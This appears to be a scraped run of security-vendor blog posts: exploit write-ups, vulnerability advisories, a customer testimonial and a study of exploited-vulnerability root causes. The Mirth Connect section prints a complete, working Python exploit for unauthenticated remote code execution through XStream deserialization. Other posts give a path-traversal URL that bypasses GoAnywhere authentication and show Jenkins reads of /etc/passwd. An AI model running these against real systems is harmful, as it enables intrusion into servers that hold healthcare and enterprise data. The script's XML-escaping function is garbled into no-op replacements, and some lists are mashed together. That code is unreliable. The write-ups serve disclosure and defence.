but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.
We found such a class within the apache.commons.lang3
library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler
:
We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.
We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder
class to execute a system command.
The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:
"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."
As it turns out, InvokerTransformer
is the route we went as an alternative for the ProcessBuilder
class. We came up with a new payload shown below:
And this worked against Mirth Connect 4.4 running Java 17:
Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:
import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PAYLOAD = """<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string><<COMMAND>></string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
def _escape_xml(str_xml):
str_xml = str_xml.replace('&', '&')
str_xml = str_xml.replace('<', '<')
str_xml = str_xml.replace('>', '>')
str_xml = str_xml.replace('"', '"')
str_xml = str_xml.replace("'", ''')
return str_xml
def main():
parser = ArgumentParser()
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='OS command to run')
args = parser.parse_args()
command = _escape_xml(args.command)
url = args.url.rstrip('/')
payload = PAYLOAD.replace('<<COMMAND>>', command)
print(f'Sending payload:\n{payload}')
r = requests.post(f'{url}/api/users',
headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
data=payload,
verify=False,
timeout=15)
print(f'Payload sent. Received status code: {r.status_code}')
if __name__ == '__main__':
main()
Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.
To check if your Mirth Connect instance is vulnerable:
% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0
Any server reporting a version less than 4.4.1 is highly likely to be exploitable.
If you’re writing detection rules for this exploit, the following points may be of interest to you:
POST /users
that accept and unmarshal XML payloads.CommonsCollection6
gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.
Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user:
The post Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE appeared first on Horizon3.ai.
Two recent Ivanti CVEs are being actively exploited by suspected nation-state threat actors. The CVEs are as follows:
According to the CISA KEV Catalog, Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. Both vulnerabilities are being exploited in the wild.
In both cases, remote unauthenticated attackers can bypass authentication and execute remote operating system commands to compromise the Connect Secure host.
Patches from Ivanti for both issues are expected to be available between January 19 and January 22, 2024. Ivanti shared this workaround while patches are in development.
As of January 17, 2024, Horizon3.ai announced new attack content for both CVEs as part of the latest NodeZero release, which now attempts to exploit these flaws. Running a NodeZero pentest will verify if you are exploitable, and once remediated, you can prove that you are no longer at risk of exploitation. If you’re not a customer, you can start your free trial here.
(Note: this CVE can be directly exploited in ~60 seconds by an attacker and doesn’t require chaining.)
The Ivanti Connect Secure VPN faced a significant security threat due to two zero-day vulnerabilities identified as CVE-2023-46805 and CVE-2024-21887. Ivanti is preparing a security update to address these vulnerabilities in all supported versions (9.x and 22.x) of Connect Secure and Policy Secure gateways.
The first vulnerability, CVE-2024-21887, is a command injection vulnerability. This particular vulnerability would enable a cyber threat actor to inject and execute arbitrary commands on the system. The second vulnerability, CVE-2023-46805, is an authentication bypass vulnerability. This flaw could potentially allow a cyber threat actor to bypass the standard authentication processes of the system. These vulnerabilities posed a significant risk as they could be exploited to take control of an affected system.
According to Ivanti, “Upon learning of the vulnerability, we immediately mobilized resources and mitigation is available now. Patches will be released in a staggered schedule with the first version targeted to be available to customers the week of 22 January and the final version targeted to be available the week of 19 February.” Also, Ivanti does share a workaround while patches are in development.
Additionally, the Cybersecurity & Infrastructure Security Agency (CISA) emphasized the importance of immediate action, urging users and administrators to review Ivanti’s Knowledge Base article and security update. CISA also included these vulnerabilities in their Known Exploited Vulnerabilities (KEV) Catalog, highlighting the active exploitation and the need for rapid remediation to protect networks against these active threats.
Volexity has identified widespread exploitation of chained vulnerabilities CVE-2024-21887 and CVE-2023-46805. This exploitation has affected thousands of machines and may have infected many more. Volexity’s scan methodology would not have worked against organizations that have already deployed the Ivanti mitigation or had otherwise been taken offline. As a result, Volexity suspects there may likely be a higher number of compromised organizations than identified through scanning (which totaled more than 1,700).
In summary, the Ivanti Connect Secure VPN vulnerabilities represented a critical security risk, with potential for unauthorized access and control over affected systems. Immediate action and ongoing vigilance are essential for mitigating these threats.
For more detailed information and updates, you can refer to the following:
CISA website: https://www.cisa.gov/news-events/alerts/2024/01/10/ivanti-releases-security-update-connect-secure-and-policy-secure-gateways
Volexity’s analysis: https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
The post Understanding the Actively-Exploited Ivanti CVE’s appeared first on Horizon3.ai.
Cyber protection is crucial for the transportation industry and the supply chain because it ensures the seamless flow of goods, prevents disruptions, and preserves the integrity of critical data essential for global commerce. Horizon3.ai recently interviewed one of our transportation and logistics customers that is deeply rooted in the fabric of American commerce. As a major player in the national supply chain arena, the customer continues to forge an excellent reputation through their innovative supply chain solutions and commitment to environmentally conscious trucking practices. Embracing innovative technology, they continue to optimize their logistics operations and ensure the seamless movement of goods while reducing their carbon footprint.
In tandem with their commitment to sustainable logistics, they also remain vigilant in safeguarding their cyber operations against evolving threats. Implementing robust cybersecurity protocols and investing in state-of-the-art technologies that help find threats, fix weaknesses, and verify fixes before they are an issue is paramount. This also allows them to fortify their digital infrastructure to protect sensitive data and ensure uninterrupted operations. By prioritizing cybersecurity measures, the customer not only secures their own network but also upholds the trust and confidence of their clients, reinforcing their position as a reliable and forward-thinking leader in the transportation and logistics landscape.
Addressing their customers’ transportation requirements and needs by offering transportation services around the world.
Vulnerability scanners are very good at pointing to and explaining what a vulnerability is, but often lack actionable insights. This leads to an abundance of alerts while also potentially overwhelming teams and impeding effective response. Our transportation client discovered just that. Their existing vulnerability scanning and management tools were insufficient and highly time-consuming, leading to their security teams not knowing which issues were a priority and needed fixed immediately.
The tools created a lot of noise and led to alert fatigue, explained Henry, one of their Cybersecurity Analysts. The scan results mostly pointed to proof of concept (POC) vulnerabilities that “weren’t even
things that could be actively exploited,” he explains. These tools often operate by scanning the client’s setup, cross-referencing it with a list of vulnerabilities, and highlighting disparities. However, this approach lacked the essential depth and sophistication (or proof) essential to know what to fix first, requiring their team to spend time researching each vulnerability and how it relates to their environment.
Moreover, it failed to enable them to see and tackle the most critical issues foremost. Henry stresses that beyond identifying vulnerabilities, “understanding what elements in our environment
that are exploitable and having evidence of how these vulnerabilities were exploited [proof] is crucial.” This information is key in effectively prioritizing issues and important in determining which ones to address first.
“I keep going back to the actionable proof, because that has really been the value for us.”
Vulnerability scanners often offer valuable information but fall short of actionable items for security teams to prioritize and fix. They are great at listing which vulnerabilities exist within your environment, but lack the clarity, explanations, and proof required for action. “It was hard trying to communicate that to our team,” Henry adds, saying that “despite the need to take immediate action, our lack of a clear and actionable plan from our vulnerability scanner left us uncertain about how to prioritize the identified issues and which items needed addressed first.”
Being a leader in the transportation and supply chain industry, protecting sensitive customer information, proprietary logistics and inventory details, financial transactions, route plans, shipment schedules, and operational and communication data is extremely important in maintaining the efficiency and security of the entire supply chain network. Vendors and customers want to know that their sensitive information is safe from cyber criminals and possible cyber-attacks, and that the company has their back. They want to know that the company has their best interests at heart and takes cyber threats seriously by using a proactive approach and maintaining cyber resilience.
How does a company do this? One of the most effective ways to ensure an organization’s digital infrastructure is protected and resilient against cyber threats is by implementing an autonomous pentesting solution across their entire environment. Doing this involves integrating tools or platforms that constantly conduct regular and ongoing security assessments, while also falling in line with regulatory compliance standards. Our client understands the need to shift from their current scan and patch (traditional vulnerability scanning tools) mindset and move to autonomous security solutions that Find, Fix, and Verify remediations/mitigations immediately and continuously.
Additional to building a cyber resilient digital realm, Henry states that easy and direct access to the precise proof of exploitation is instrumental and allows for immediate sharing with peers and vendors. “Having that proof comes in really handy when sharing with our vendors to say hey, this wasn’t detected [by their software] and is there anything we can do to modify our Indicators of Compromise (IOC) or our Indicators of Attack (IOA) so we can detect this activity in the future?” he adds. Having direct access to this information allows a client running a continuous pentesting solution the ability to find holes in their current security tools and enables them to contact their third-party vendors to fix gaps and harden security.
Our client wanted to get away from basic vulnerability scanners and adopt something that emulated attacks across their environment. After doing open-source research, Henry and his team ran across NodeZero on LinkedIn™ and started watching Horizon3.ai videos on YouTube™.
What impressed him the most was that our
“CEO was very active, and he knew the product very well, which really stood out.”
So, they booked a demo.
Henry mentions that some of our competitors were reluctant to schedule a Proof of Value (POV), and that our onboarding/POV process was transparent, which was the main driving factor for going with Horizon3.ai. Furthermore, initial real-world impressions highlighted that the NodeZero interface was sleek and easy to use, especially when compared to traditional manual pentest and vulnerability scanning tools. Running a pentest was “quick and there are multiple methods for the reporting, which is really valuable to us” he mentions.
Henry says that NodeZero has “everything, from the reporting to the one click verify, being able to quickly identify if we remediated this or not [vulnerabilities],” adding that, “those things really help outshine some of the other competitors.” NodeZero allows customers to see a prioritized list of vulnerabilities, proof of exploitation (if available), and highlights notable events to enable customers to fix what matters first, and to verify those fixes.
NodeZero also provided detailed attack paths that enable customers to walk through how an attack could be carried out through the Eyes of an Attacker, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment. He says that everything NodeZero provides is “really, really helpful, and showing the top weaknesses in our environment with proof of exploitation so that me and my team could manually run the commands was really impressive.”
Furthermore, “the fix actions report is super helpful because I was able to attach it to a ticket and send it off” saving Henry valuable time from calling multiple people and walking them through how to do fix the issue and remediate the vulnerability. NodeZero reports not only give the customer step-by-step instructions, but also provides multiple options to fix the same problem. “Being able to mitigate this in multiple ways really cuts down on me having to do research on the back end,”
he adds.
After the first few pentests, Henry mentions that the results weren’t too shocking, especially when NodeZero found multiple weak credentials, as they had just done a pentest from another vendor a few weeks prior. However, after the third week of using NodeZero, it was able to escalate its privileges to become domain admin, effectively taking over the domain because a temporary account was created with default credentials. He was surprised by how quickly NodeZero was able to “shed light on the issue and provide immediate remediation instructions.”
Additionally, this issue prompted his team to not only quickly remediate but help fine tune their parent company’s current Identity and Access Management (IAM) policies and guidelines, in addition to their own. Although the temporary account was created by a systems admin, NodeZero finding the vulnerability allows for visibility and mitigation to ensure compliance with System and Organization Controls (SOC) and future audits. He also mentions that “they [him and his team] got to actually see domain admin compromise and what that would look like, as well as what sort of things [downstream impacts] would be pivoted into from obtaining those escalated privileges, which was very interesting.”
This example illustrates that, even if a company thinks they are complying and adhering to their current policies, there can still be gaps and credentials that get through the cracks. Henry emphasized that they thought they were doing a good job by following established IAM guidelines and policies. However, when NodeZero was introduced into their environment, they quickly discovered “that’s not necessarily true and some things like service accounts and similar had slipped through the cracks.” Furthermore, he goes on to say that these types of IT department and admin level accounts “were not subject to quarterly password resets, so NodeZero helped us figure out those accounts, keeping us in the know.”
As many of our customers have highlighted after switching over to NodeZero from traditional annual and/or manual pentesting is the significant reduction in per pentest cost. As Henry describes, “we are well below the cost of just a single annual pentest and are getting way more pentests per year, which is somewhere near 90% cost effectiveness and that NodeZero has more than paid for itself already.” He goes on to say that “only a few things from our previous annual pentest were solved because the report wasn’t good [lacked effective fix actions] or not many people were tracking it, so there just wasn’t a lot of helpful information.”
As a result, NodeZero has helped Henry and his team accelerate, justify, and steer their company into additional cyber operations that they otherwise wouldn’t have been able to do with a once-a-year annual pentest. “This not only helps us reduce risk, but has also helped us make better investment decisions,” he mentions.
Even if you’re not going with NodeZero, I would highly recommend that you do.
NodeZero revolutionizes the landscape for organizations seeking an autonomous pentesting solution, empowering a proactive and preemptive strategy to illuminate how an attacker sees your environment and reinforce resilience against cyber threats. Henry says that “even if you weren’t going with NodeZero, you need to get some kind of attack emulation exercise going, because we didn’t realize that we needed that until we had it.”
Subsequently, Henry and his team realized how valuable it is to see things from an attacker’s perspective, as well as gaining a lot more perspective into their defensive and offensive posture. “We like seeing how NodeZero moved like an attacker through our environment, as well as the narrative and context that it provided, allowing us to actually determine what is more likely to happen, and more likely not to happen,” says Henry.
Some organizations don’t realize the value of continuous pentesting until it’s too late and they have a breach or are paying millions of dollars in ransom. For the transportation and supply chain industry, recognizing this importance is critical as it helps proactively identify and address vulnerabilities, preventing potential disruptions, financial losses, and safeguarding the integrity of their intricate and interconnected operations across the globe.
The post Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry appeared first on Horizon3.ai.
On January 22, 2024 Fortra posted a security advisory for their GoAnywhere MFT product. This advisory details an authentication bypass vulnerability, CVE-2024-0204, that allows an unauthenticated attacker to create an administrative user for the application. Customers were made aware of the issue by an internal security advisory post and patch made available on December 4, 2023, in which researchers malcolm0x and Islam Elrfai were originally credited with the discovery. In 2023, file transfer applications were a top target by threat actors. Our POC can be found here.
The advisory mentions that the endpoint /InitialAccountSetup.xhtml
can be deleted and the service restarted to mitigate the issue. Looking through the application directories, we find that this endpoint is mapped to the com.linoma.ga.ui.admin.users.InitialAccountSetupForm
class by inspecting the file GoAnywhere/adminroot/WEB-INF/forms-faces.xml
.
Figure 1. Endpoint to Class Mapping
Using advanced tooling, we find that the GoAnywhere/lib/gamft-7.4.0.jar
project defines that class.
Figure 2. Finding the InitialAccountSetupForm class
Comparing the jar’s for gamft between 7.4.0 and 7.4.1 reveals that several additional checks were added to the initializer for the InitialAccountSetupForm class.
When installing GoAnywhere, the application will first direct users to this endpoint to set up a new administrative user.
Figure 3. Add Administrative User During Install
After install, requesting the supposed vulnerable endpoint directly did not allow us access to the same page and instead redirects the user to the /Dashboard.xhtml
endpoint and finally to /auth/Login.xhtml
because the user is not authenticated.
Finding this behavior in the application leads us to the com.linoma.dpa.security.SecurityFilter
class. This class is called on all requests and performs the doFilter()
function, which performs checks for which endpoints are requested and based on the endpoints, user context, and application settings will allow the request to be routed to the correct endpoint.
Figure 4. SecurityFilter class
Inspecting the SecurityFilter class more closely, we find that there are a couple explicit areas that deal with requesting the /InitialAccountSetup.xhtml
endpoint mentioned in the advisory.
/wizard/InitialAccountSetup.xhtml
then it will properly route you to this setup page./wizard/InitialAccountSetup.xhtml
then redirect to /Dashboard.xhtml
.Figure 5. InitialAccountSetup logic
We considered the patches we observed and this logic, and without a way to pass the isAdminUserCreated
check we were unsure exactly how this bypass could occur. Instead of using logic, and instead using our spidey senses, we considered if possibly there was a path normalization issue. Classically for Tomcat based applications, there exist path traversal issues when the request contains /..;/
. Trying to request the supposed vulnerable endpoint now with a request that looks like https://192.168.1.1:8001/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml
leads to the application now routing us to the setup page again!
Figure 6. Bypassing doFilter() with /..;/
Submitting this form again, while also being careful to re-write the form submission request to include the path traversal, we find that a new administrative user has been created.
Figure 7. Administrative User Added
Our proof-of-concept exploit that adds an administrative user can be found on our GitHub.
The easiest indicator of compromise that can be analyzed is for any new additions to the Admin Users
group in the GoAnywhere administrator portal Users -> Admin Users section. If the attacker has left this user here you may be able to observe its last logon activity here to gauge an approximate date of compromise.
Additionally, logs for the database are stored at \GoAnywhere\userdata\database\goanywhere\log\*.log
. These files contain transactional history of the database, for which adding users will create entries.
Figure 8. Indicator of User Additions in Database Logs
The post CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive appeared first on Horizon3.ai.
On 16 January, Atlassian released a security advisory concerning CVE-2023-22527 that affects vulnerable out-of-date versions of Confluence Data Center and Server. Both Confluence Data Center and Server are used by large enterprises and smaller to mid-size businesses respectively for team collaboration and knowledge sharing, and often house sensitive or proprietary information. This critical vulnerability (CVSS Score 10) allows an unauthenticated attacker to achieve remote code execution (RCE). This type of vulnerability is often scored as critical since RCEs can allow an attacker to control and manipulate computer systems from a distance. Although Atlassian just disclosed this vulnerability last week, security researchers are already observing exploitation attempts in the wild.
On 22 January, the non-profit cybersecurity organization The Shadowserver Foundation reportedly observed attempts at exploiting this vulnerability by cyber threat actors. Close to 40,000 exploitation attempts were observed from 600 IP addresses. The cyber threat actors used testing callback attempts and whoami execution in an attempt to look for vulnerable servers that they can compromise and abuse to gain undetected access to victims’ networks.
Anyone who runs Confluence Data Center and Confluence Server endpoints versions 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.5.x, and 8.5.0 through 8.5.3 may be impacted by this vulnerability.
Atlassian recommends that you immediately patch if you are running an out-of-date version of Confluence Data Center and/or Confluence Server. At the time of this publication, there are no known workarounds to remediate this vulnerability.
As of today, all users running NodeZero™ can run an autonomous pentest to determine if their Atlassian Confluence systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps, like patching in this instance, are effective.
The post NodeZero Updated With Attack Content for Critical Confluence RCE appeared first on Horizon3.ai.
On 22 January, Fortra issued an advisory stating that versions of its GoAnywhere Managed File Transfer (MFT) product suffer from an authentication bypass vulnerability. GoAnywhere MFT is, as the name suggests, an enterprise solution for encrypting and transferring data within an organization and to external customers.
This critical vulnerability (CVSS 9.8) is tracked as CVE-2024-0204 and only affects versions of GoAnywhere MFT prior to 7.4.1. Unauthorized individuals can exploit this vulnerability to create an admin user via the administration portal.
Fortra patched the GoAnywhere vulnerability on 7 December 2023 with the release of GoAnywhere MFT 7.4.1. Fortra then publicly disclosed the vulnerability on 22 January after giving customers several weeks to patch.
While Fortra is not aware of any attacks in the wild exploiting this vulnerability, we anticipate that cyber threat actors will likely attempt to take advantage of any unpatched instances of GoAnywhere MFT now that it has been publicly acknowledged.
Anyone who runs a version of Fortra’s GoAnywhere MFT prior to 7.4.1 may be impacted by this vulnerability. According to Fortra, GoAnywhere is the #1 secure file transfer solution and serves 4,000+ customers in 100+ countries. Organizations in healthcare, finance, insurance, transportation, government, real estate, and other industries use the solution and could be at risk of exploitation if they are not running the patched version.
Fortra recommends upgrading to version 7.4.1 or higher. According to Fortra, this vulnerability may also be eliminated in non-container deployments by deleting the InitialAccountSetup.xhtml file in the install directory and restarting the services. For container-deployed instances, replace the file with an empty file and restart.
As of today, all users running NodeZero™️ can run an autonomous pentest to determine if their systems are vulnerable, reachable, and exploitable due to this vulnerability. We also recommend running a follow-on pentest to determine that any remediation steps taken are effective.
To read more about this vulnerability and how it works, please see the Horizon3.ai Attack Team blog titled, “CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive.”
The post CVE-2024-0204: Check Critical Fortra GoAnywhere MFT Authentication Bypass with NodeZero™️ Now! appeared first on Horizon3.ai.
Last Wednesday, on January 24, 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability, CVE-2024-23897, affecting the Jenkins CI/CD tool. This advisory set off alarm bells among the infosec community because the potential impact is huge: Jenkins is widely deployed, with tens of thousands of public-facing installs, and the Jenkins advisory was clear that this vulnerability could lead to remote code execution. Jenkins is a common target for attackers, and, as of this writing, there are four prior Jenkins-related vulnerabilities in CISA’s catalog of Known Exploited Vulnerabilities.
Our advice for users of Jenkins is don’t panic… unless you need to. This is a textbook example of a vulnerability whose true impact can only be accurately assessed within the context of your environment. The typical Jenkins install will not be exploitable by unauthenticated attackers. However, there are a few factors that could significantly increase the potential for damage, elevating this to a truly critical vulnerability. We’ll discuss these factors in this post, as well as how the NodeZero platform can be used to provide an accurate assessment of risk.
CVE-2023-23897 resides in the Jenkins CLI, an alternative way for users to interact with Jenkins without going through web interface. The CLI is enabled by default. Vulnerable Jenkins servers misinterpret command line arguments supplied by users to the CLI. Specifically, CLI arguments preprended by @
are incorrectly interpreted as files that need to be opened to read in arguments, and in some cases the lines in these files are echo’d back as part of error messages to the CLI user. A detailed technical explanation is available here from Yaniz Nizry of Sonarsource, who discovered the vulnerability.
An unauthenticated attacker with no permissions (i.e. the default Jenkins install) can leak the first couple of lines of arbitrary text files on a vulnerable Jenkins server. For instance, here’s an example of retrieving the first few lines of the C:\windows\win.ini
file using the CLI help
command.
An authenticated attacker can retrieve entire text files, using the connect-node
CLI command:
There are two dangerous Jenkins configuration options that allow unauthenticated attackers to effectively act like authenticated attackers. The “Allow users to sign up” option allows anyone with access to the Jenkins instance to self-register an account. And the “Allow anonymous read access” option gives everyone the Overall/Read permission.
For instance here’s an example of an unauthenticated attacker reading the /etc/passwd
file off a Jenkins server that has been enabled with the “Allow anonymous read access” option:
Binary files can also be read but the Jenkins server will try to convert them into text, using the default character encoding set defined for the Jenkins server. Binary characters outside the character encoding set will be returned in mangled/unusable form back to the CLI user. According to the Jenkins advisory, if Jenkins is running on Linux, where the default character encoding set is UTF-8, an average of half the characters in binary files will end up being mangled. However, if Jenkins is running on Windows, where the default character encoding set is Windows 1252, a much smaller percentage (5/256) of the characters would be mangled on average. Therefore it may be possible for an attacker targeting a Jenkins server running on Windows to re-construct secrets contained in binary files. This is significant because the hudson.util.Secret
file is a small binary file that contains an encrypted key used to encrypt other secrets.
Here’s an example of trying to read the hudson.util.Secret
file on Linux:
Given the above, how likely is it that an attacker can use this vulnerability to achieve remote code execution or dump credentials stored within Jenkins? We put together the following risk matrix:
Risk Matrix | Jenkins Server Running on Linux | Jenkins Server Running on Windows |
---|---|---|
Attacker has no permissions | Risk: Low
|
Risk: Moderate
|
Attacker has Overall/Read permissions | Risk: High
|
Risk: Very High
|
One of the core functions of the NodeZero platform is exploiting vulnerabilities to help practitioners understand the true risk of these vulnerabilities and to plan remediation accordingly.
To assess this particular vulnerability, NodeZero performs the following steps:
X-Jenkins
version header present in HTTP responses./etc/passwd
and C:\windows\win.ini
file from the server
By default, NodeZero assigns this particular vulnerability a base score of 8.1 (High). This is the score we’d expect for typical Jenkins installs that haven’t been patched for this vulnerability but are using default configuration options and are running on Linux. The proof that NodeZero captures for the vulnerability shows the partial contents of the /etc/passwd
file:
If NodeZero finds that any of the following conditions are true, it elevates the score to 9.5 (Critical):
For instance, on this Jenkins server, self signup is enabled, and anonymous users are configured with Overall/Read permissions, enabling unauthenticated attackers to read the full content of text files:
Here’s a Jenkins server running on Windows where only partial file read is possible, but there’s a chance attackers may still be able to recover secrets stored in binary files, leading to further compromise:
Finally, it’s not always possible to exploit this vulnerability, particularly if the Jenkins server is running behind a reverse proxy. NodeZero will mark vulnerabilities for which exploits have failed with a failure reason and downgrade the severity of the vulnerability accordingly.
Updating to at least Jenkins versions 2.442 and 2.426.3 (long-term support version) will address this vulnerability. It is also possible to mitigate by disabling the Jenkins CLI, as described here.
We recommend patching immediately if NodeZero identifies conditions that elevate this to a critical severity. Note that if you’re running Jenkins on the Internet, the dangerous configuration options of anonymous read access and self signup should never be enabled. NodeZero will surface these misconfigurations as additional weaknesses.
Even if NodeZero doesn’t identify CVE-2024-23897 as a critical vulnerability, it still merits patching. It is entirely possible for attackers to acquire credentials for valid users through attacks such as password spray, and then exploit CVE-2024-23897 as an authenticated user to read arbitrary files.
The post CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability appeared first on Horizon3.ai.
On 24 January 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability that affects the Jenkins CI/CD tool. Jenkins is a Java-based open-source automation server run by over 1 million users that helps developers build, test and deploy applications, enabling continuous integration and continuous delivery.
The critical vulnerability is tracked as CVE-2024-23897 and affects Jenkins 2.441 and earlier. LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces the ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system that can lead to RCE.
According to security researchers from ShadowServer, there are approximately 45,000 unpatched Jenkins instances, most of which are in China (12,000) and the United States (11,830).
Two Proof of Concepts (PoCs) exploits have been released to the public and could be leveraged by attackers to compromise unpatched Jenkins servers. According to the Cyber Security Agency (CSA) of Singapore, as of 30 January 2024, the vulnerability is reportedly being actively exploited.
Anyone who is running Jenkins 2.441 and earlier is affected by this vulnerability.
Jenkins users are urged to upgrade to Jenkins 2.442 and LTS 2.426.3.
All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Jenkins vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective.
Example Top Weaknesses and Impacts:
Example Attack Path:
If you want to read more, please read Horizon3.ai’s Attack Team’s blog titled, “CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability.”
The post CVE-2024-23897: Check Critical Jenkins Arbitrary File Leak Vulnerability Now! appeared first on Horizon3.ai.
On 22 January, Ivanti published an advisory stating that they discovered two new, high-severity vulnerabilities (CVE-2024-21888 and CVE-2024-21893) after researching previously reported vulnerabilities affecting Ivanti Connect Secure, Ivanti Policy Secure and ZTA gateways. Ivanti provides enterprise solutions, including patch management and IT security solutions to over 40,000 customers worldwide.
While there is no evidence of any customers being impacted by CVE-2024-21888, Ivanti has acknowledged CVE-2024-21893 has impacted some customers in targeted instances.
In response to the new Ivanti vulnerabilities, the Cybersecurity & Infrastructure Security Agency (CISA) ordered all federal government agencies to disconnect all instances of Ivanti Connect Secure and Ivanti Policy Secure from their networks until proper mitigation steps are taken and reported to CISA.
Users who are running Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA.
Ivanti has released patches for Ivanti Connect Secure (versions 9.1R14.4, 9.1R17.2, 9.1R18.3, 22.4R2.2, 22.5R1.1 and 22.5R2.2) and Ivanti Policy Secure version 22.5R1.1 and ZTA version 22.6R1.3.
According to Ivanti, users can also import the “mitigation.release.20240126.5.xml file as a temporary workaround.
All NodeZero™️ users can run an autonomous pentest to determine if their systems are vulnerable to the Ivanti vulnerability. We also recommend running a follow-on pentest to verify that any remediation steps taken, such as patching, are effective.
Example Impacts:
Example Attack Path:
The post CVE-2024-21893: Another Ivanti Vulnerability Exploited in the Wild. Verify with NodeZero Today! appeared first on Horizon3.ai.
Memory safety issues have plagued the software industry for decades. The Cybersecurity & Infrastructure Security Agency (CISA) has been leading a charge for secure-by-design and encouraging developers and vendors to utilize memory safe languages like Rust to eradicate this vulnerability class.
Google Chromium, the engine used by the majority of browsers around the world, reports that approximately 70% of their high severity issues are memory safety issues. Microsoft reports the same percent of issues affecting it’s Windows OS are also memory safety. But, what vulnerabilities are being exploited by threat actors today? CISA maintains and publishes its Known Exploited Vulnerability (KEV) catalog of all vulnerabilities that they have insight into having been exploited by threat actors.
We have analyzed all critical vulnerabilities from the CISA KEV catalog starting from January 2023 through January 2024, categorized the vulnerability root causes, and attempted to analyze if the current efforts in the information security industry match with the current threat vectors being abused.
Nearly half of vulnerabilities are enabled by insecure exposed functions. At a strategic level we’ve seen recent pushes for security improvements by pursuing memory safe languages and software bill of materials (SBOM), but a seemingly asymmetric amount of effort or strategy around addressing this vulnerability category.
Figure 1. Vulnerabilities by Root Cause
Vulnerabilities fall into this category when:
Memory safety issues were the second (tied) leading cause of vulnerabilities in the data set, coming in at 20%. Interestingly, 75% of the analyzed memory safety vulnerabilities have been exploited as 0-days by threat actors. Additionally, 25% were discovered by security researchers and retroactively discovered to have been exploited as 0-days. When vulnerabilities are exploited as 0-days they typically have a much more widespread effect on the world given that patches often lag by weeks once they are discovered.
